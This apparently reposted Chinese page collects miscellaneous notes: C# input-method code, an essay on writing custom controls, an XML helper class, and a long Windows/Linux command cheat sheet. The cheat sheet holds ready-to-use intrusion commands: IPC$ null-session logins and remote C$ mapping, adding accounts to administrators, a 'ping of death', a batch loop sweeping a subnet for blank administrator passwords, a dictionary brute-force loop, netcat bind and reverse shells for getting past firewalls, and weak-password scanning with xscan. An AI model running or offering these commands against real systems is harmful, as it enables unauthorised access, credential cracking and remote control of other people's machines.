C#杂八资料

来源:互联网 发布:筑波大学 知乎 编辑:程序博客网 时间:2024/06/04 18:15

C#输入法设置

private void Form1_Load(object sender, System.EventArgs e)
{//获取输入法信息
//获取系统中已经安装的文字输入法
InputLanguageCollection MyInputs=InputLanguage.InstalledInputLanguages;
//将输入法的名称添加组合框中
foreach(InputLanguage MyInput in MyInputs)
this.comboBox1.Items.Add(MyInput.LayoutName);
//获取当前输入法信息
InputLanguage CurrentInput=InputLanguage.CurrentInputLanguage;
this.textBox1.Text=CurrentInput.LayoutName;
//获取输入法的语言区域
this.textBox3.Text=CurrentInput.Culture.DisplayName;
//获取默认的输入法信息
InputLanguage DefaultInput=InputLanguage.DefaultInputLanguage;
this.textBox2.Text=DefaultInput.LayoutName;
}

private void comboBox1_SelectedIndexChanged(object sender, System.EventArgs e)
{//设置当前输入法
//获取选择的输入法
InputLanguage MyInput=InputLanguage.InstalledInputLanguages[this.comboBox1.SelectedIndex];
//设置当前输入法
InputLanguage.CurrentInputLanguage=MyInput;
//获取当前输入法信息
InputLanguage CurrentInput=InputLanguage.CurrentInputLanguage;
this.textBox1.Text=CurrentInput.LayoutName;
//获取输入法的语言区域
this.textBox3.Text=CurrentInput.Culture.DisplayName;
//获取默认的输入法信息
InputLanguage DefaultInput=InputLanguage.DefaultInputLanguage;
this.textBox2.Text=DefaultInput.LayoutName;
}

写C#自定义控件的心得

使用C#也有一段时间了,但从未自已设计过自定义控件,刚刚完成了一个自定义控件的设计,觉得有一些技巧和知识,可以做一个总结.
有些东西,从MSDN中很不容易找到,比如对一些属性的描述设定.这里可以为此做一些汇兑.
我设计了一个平滑进度条控件,这在网上很容易找到一些现成的.不过,为了学习控件的设计,我还是自己写了一个.
这个控件继承自UserControl类.原理很简单,就是用刷子往一定的区域里面填充颜色.
设计控件当然要有一些属性,进度条设计中最主要的属性就是最小值,最大值及当前值.有了属性在VS设计器中也要有所反映,就需要对这个属性进行描述.
就拿最小值这个属性来说吧.在VS设计器选中这个属性就需要有它的描述性文字以及它所属的栏目.实现这两个方面可以在属性前加上这样一行文字:
[Description("获取或设置目前进度条范围最小值"), Category("行为")]
这样在VS设计器中该属性就会看起来跟其它属性一样了.当然也可以将栏目的汉字换为英文,但目前我不知道行为在此中用什么英文表示,但外观是使用Appearance来表示.
除了描述性文字及所属栏目还可以有缺省值,这是很多属性都有的.加上DefaultValue(object value), 就可以应用缺省值了.
在VS的属性设计器中,经常有这样的属性,比如字体,点击后会出现一个字体编辑器,对于此类在VS设计器中存在的编辑器,我们可以直接使用它.
比如编辑一个字体属性.
[Description("用于显示控件中文本的字体"), Category("Appearance")]
public override Font Font
{
get { return m_LabelFont; }
set
{
m_LabelFont = value;
this.Invalidate();
}
}
定义了它的返回值为Font,这样在VS设计器中,就会出现与别的控件字体一样的字体编辑器.与此类似的还有Color属性,BorderStyle属性等.
既然这个控件继承自UserControl类,那么不可避免的会继承一些我们不想在设计器中出现的属性.比如TabStop属性,我们不希望它应用在进度条身上,就必须要让它在设计器中不可见.
[Browsable(false)]
public new bool TabStop
{
get { return base.TabStop;}
}
Browsable(bool value)语句可以使某个属性可见或是隐藏.
有些继承的属性需要重写,不管是对它进行一定的改变操作还是要隐藏它.重写时需要使用override或是new,有的父类属性中使用的是virtual,但有些没有.没有使用virtual的属性,在子类中就要使用new来修饰了.
对于事件,继承来的也有一些是不必要的,要隐藏事件,我也找了一些资料,在网上可不多见,只是在MSDN中费了半天劲才找到一句相关的语句.
比如对于按键操作进度条也是不需要,就需要在设计器中隐藏该事件.
[Browsable(false)]
public new event EventHandler KeyDown;
前面是隐藏语句,后面是事件,这样做起来,比属性成员要简单一些吧. :) 只是在网络中搜索了半天也没有发现与此相关的东西.
对此绘图部分的操作,详细的就不在这里说了.这里只是说一些建立控件的基本东西.但是绘图的操作主要放在一起,比如放在Paint事件中.在事件的尾部再执行一下边框的绘制.
当对进度条的当前值进行赋值操作时,需要在进度条内部触发一个绘图的操作,可以让Paint事件被触发.这里就需要执行一个方法Invalidate(),这个方法宣布当前区域为无效,然后触发Paint事件.
进度条的区域比较小,所以不太耗费图形资源,但如果需要的图形资源比较大,且绘图操作触发频繁,就不能宣布所有区域为无效,只要宣布已经更新的区域为无效.在取得更新区域后,使用Invalidate(Rectangle rect)方法,可以只更新部分区域.
对于图形控件,很多操作都需要使用Graphics类绘图,对这个庞大的类,我没有深入的研究,也不能在此多说,不然会说个没完. ;)
对于进度条类,也有一些描述,比如给它一个图标,一个缺省的属性.在这个类中我仍然使用了.net中进度条的图标.
[ToolboxBitmap(typeof(ProgressBar)), DefaultProperty("Value")]
在VS设计器中加入平滑进度条之后,在工具面板中出现的进度条图标将是一个我们熟悉的进度条图标.当然,我们也可以使用地址路径或资源中的图标来代替它.
相对的语句为:ToolboxBitmap(路径)
对于控件的设计,我刚刚才开始涉及,很多东西没有发现.望有研究的同仁给予赞助.谢谢.

C# XML操作类

写的一个XML操作类,包括读取/插入/修改/删除。

using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Xml;

namespace PuTianCheng
{
///
/// XmlHelper 的摘要说明
///

public class XmlHelper
{
public XmlHelper()
{
}

///
/// 读取数据
///

///路径 ///节点 ///属性名,非空时返回该属性值,否则返回串联值 /// string
/**************************************************
* 使用示列:
* XmlHelper.Read(path, “/Node”, “”)
* XmlHelper.Read(path, “/Node/Element[@Attribute='Name']“, “Attribute”)
************************************************/
public static string Read(string path, string node, string attribute)
{
string value = “”;
try
{
XmlDocument doc = new XmlDocument();
doc.Load(path);
XmlNode xn = doc.SelectSingleNode(node);
value = (attribute.Equals(“”) ? xn.InnerText : xn.Attributes[attribute].Value);
}
catch { }
return value;
}

///
/// 插入数据
///

///路径 ///节点 ///元素名,非空时插入新元素,否则在该元素中插入属性 ///属性名,非空时插入该元素属性值,否则插入元素值 ///值 ///
/**************************************************
* 使用示列:
* XmlHelper.Insert(path, “/Node”, “Element”, “”, “Value”)
* XmlHelper.Insert(path, “/Node”, “Element”, “Attribute”, “Value”)
* XmlHelper.Insert(path, “/Node”, “”, “Attribute”, “Value”)
************************************************/
public static void Insert(string path, string node, string element, string attribute, string value)
{
try
{
XmlDocument doc = new XmlDocument();
doc.Load(path);
XmlNode xn = doc.SelectSingleNode(node);
if (element.Equals(“”))
{
if (!attribute.Equals(“”))
{
XmlElement xe = (XmlElement)xn;
xe.SetAttribute(attribute, value);
}
}
else
{
XmlElement xe = doc.CreateElement(element);
if (attribute.Equals(“”))
xe.InnerText = value;
else
xe.SetAttribute(attribute, value);
xn.AppendChild(xe);
}
doc.Save(path);
}
catch { }
}

///
/// 修改数据
///

///路径 ///节点 ///属性名,非空时修改该节点属性值,否则修改节点值 ///值 ///
/**************************************************
* 使用示列:
* XmlHelper.Insert(path, “/Node”, “”, “Value”)
* XmlHelper.Insert(path, “/Node”, “Attribute”, “Value”)
************************************************/
public static void Update(string path, string node, string attribute, string value)
{
try
{
XmlDocument doc = new XmlDocument();
doc.Load(path);
XmlNode xn = doc.SelectSingleNode(node);
XmlElement xe = (XmlElement)xn;
if (attribute.Equals(“”))
xe.InnerText = value;
else
xe.SetAttribute(attribute, value);
doc.Save(path);
}
catch { }
}

///
/// 删除数据
///

///路径 ///节点 ///属性名,非空时删除该节点属性值,否则删除节点值 ///值 ///
/**************************************************
* 使用示列:
* XmlHelper.Delete(path, “/Node”, “”)
* XmlHelper.Delete(path, “/Node”, “Attribute”)
************************************************/
public static void Delete(string path, string node, string attribute)
{
try
{
XmlDocument doc = new XmlDocument();
doc.Load(path);
XmlNode xn = doc.SelectSingleNode(node);
XmlElement xe = (XmlElement)xn;
if (attribute.Equals(“”))
xn.ParentNode.RemoveChild(xn);
else
xe.RemoveAttribute(attribute);
doc.Save(path);
}
catch { }
}
}
}

==================================================

XmlFile.xml:

==================================================

使用方法:

string xml = Server.MapPath(“XmlFile.xml”);
//插入元素
//XmlHelper.Insert(xml, “/Root”, “Studio”, “”, “”);
//插入元素/属性
//XmlHelper.Insert(xml, “/Root/Studio”, “Site”, “Name”, “小路工作室”);
//XmlHelper.Insert(xml, “/Root/Studio”, “Site”, “Name”, “丁香鱼工作室”);
//XmlHelper.Insert(xml, “/Root/Studio”, “Site”, “Name”, “谱天城工作室”);
//XmlHelper.Insert(xml, “/Root/Studio/Site[@Name='谱天城工作室']“, “Master”, “”, “红尘静思”);
//插入属性
//XmlHelper.Insert(xml, “/Root/Studio/Site[@Name='小路工作室']“, “”, “Url”, “http://www.wzlu.com/”);
//XmlHelper.Insert(xml, “/Root/Studio/Site[@Name='丁香鱼工作室']“, “”, “Url”, “http://www.luckfish.net/”);
//XmlHelper.Insert(xml, “/Root/Studio/Site[@Name='谱天城工作室']“, “”, “Url”, “http://www.putiancheng.com/”);
//修改元素值
//XmlHelper.Update(xml, “/Root/Studio/Site[@Name='谱天城工作室']/Master”, “”, “RedDust”);
//修改属性值
//XmlHelper.Update(xml, “/Root/Studio/Site[@Name='谱天城工作室']“, “Url”, “http://www.putiancheng.net/”);
//XmlHelper.Update(xml, “/Root/Studio/Site[@Name='谱天城工作室']“, “Name”, “PuTianCheng Studio”);
//读取元素值
//Response.Write(“

” + XmlHelper.Read(xml, “/Root/Studio/Site/Master”, “”) + “

“);
//读取属性值
//Response.Write(“

” + XmlHelper.Read(xml, “/Root/Studio/Site”, “Url”) + “

“);
//读取特定属性值
//Response.Write(“

” + XmlHelper.Read(xml, “/Root/Studio/Site[@Name='丁香鱼工作室']“, “Url”) + “

“);
//删除属性
//XmlHelper.Delete(xml, “/Root/Studio/Site[@Name='小路工作室']“, “Url”);
//删除元素
//XmlHelper.Delete(xml, “/Root/Studio”, “”);

DOS命令大全(经典收藏)

net use //ip/ipc$ ” ” /user:” ” 建立IPC空链接
net use //ip/ipc$ “密码” /user:”用户名” 建立IPC非空链接
net use h: //ip/c$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: //ip/c$ 登陆后映射对方C:到本地为H:
net use //ip/ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把”用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名  开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time //目标ip 查看对方时间
net time //目标ip /set 设置本地计算机时间与”目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view //ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip “文本信息” 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:”-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:”-l[空格]数据包大小”;”-n发送数据次数”;”-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数”/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如”DEL/AR *.*”表示删除当前目录下所有只读文件,”DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

#2 二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符/路径/要移动的文件名 存放移动文件的路径/移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,”> “和”> >” 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at //ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径/文件名1 路径/文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:/srv.exe //ip/admin$ 复制本地c:/srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy //ip/admin$/svv.exe c:/ 或:copy//ip/admin$/*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址/目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:/server.exe 登陆后,将”IP”的server.exe下载到目标主机c:/server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:/server.exe 登陆后,上传本地c:/server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即”DATE/T”、”TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续….
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:”:start”标签)
call 路径/批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将”信息”保存到pass.txt文件中
findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:/、D:/统一改为:EntSky/ )

#3 三:

ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径/可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:/test.txt /D pub 设定d:/test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

#4 四:

IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by /”密码/”; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump –opt school>school.bbb 备份数据库:(命令在DOS的//mysql//bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

#6 六:

Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use //ip/ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:/user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个”1″指起始值,第二个”1″指增长量,第三个”254″指结束值,即:从1到254;”(1 -1 254)”说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:/pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use //%1.%%G /user:administrator | find “命令成功完成” >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有”命令成功完成”信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:/user.dic) DO smb.exe %1 %%i D:/pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:/pass.dic来暴解d:/user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

#7 七:

2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为”真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:”if “%2%”==”4″ goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加” “)
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:”if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到”:end”标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:”if exist test.txt. else echo test.txt.missing “,注意命令中的”.”

(二)系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:/log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:/log.txt
nc -L -p 80 < c:/honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:/honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:/honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:/honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。”<",例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:/winnt >> d:/log.txt 意思是:后台执行dir,并把结果存在d:/log.txt中
>与>>的区别  ”>”指:覆盖;”>>”指:保存到(添加到)。
如:@dir c:/winnt >> d:/log.txt和@dir c:/winnt > d:/log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

#8 八:

2、扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚”起始IP到终止IP”段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚”主机IP列表文件名”中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过”-l”参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
